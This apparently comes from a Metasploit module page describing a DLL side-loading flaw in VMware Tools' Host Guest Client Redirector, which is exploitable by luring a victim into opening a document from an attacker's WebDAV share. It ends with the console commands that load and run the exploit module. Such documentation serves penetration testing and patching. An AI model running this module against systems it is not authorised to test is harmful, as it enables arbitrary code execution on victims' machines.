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DLL Side Loading Vulnerability in VMware Host Guest Client Redirector

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DLL Side Loading Vulnerability in VMware Host Guest Client Redirector



A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, a component of VMware Tools. This issue can be exploited by luring a victim into opening a document from the attacker's share. An attacker can exploit this issue to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. If the WebDAV Mini-Redirector is enabled, it is possible to exploit this issue over the internet.


  • Yorick Koster




Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/misc/vmhgfs_webdav_dll_sideload
msf exploit(vmhgfs_webdav_dll_sideload) > show targets
msf exploit(vmhgfs_webdav_dll_sideload) > set TARGET < target-id >
msf exploit(vmhgfs_webdav_dll_sideload) > show options
    ...show and set options...
msf exploit(vmhgfs_webdav_dll_sideload) > exploit

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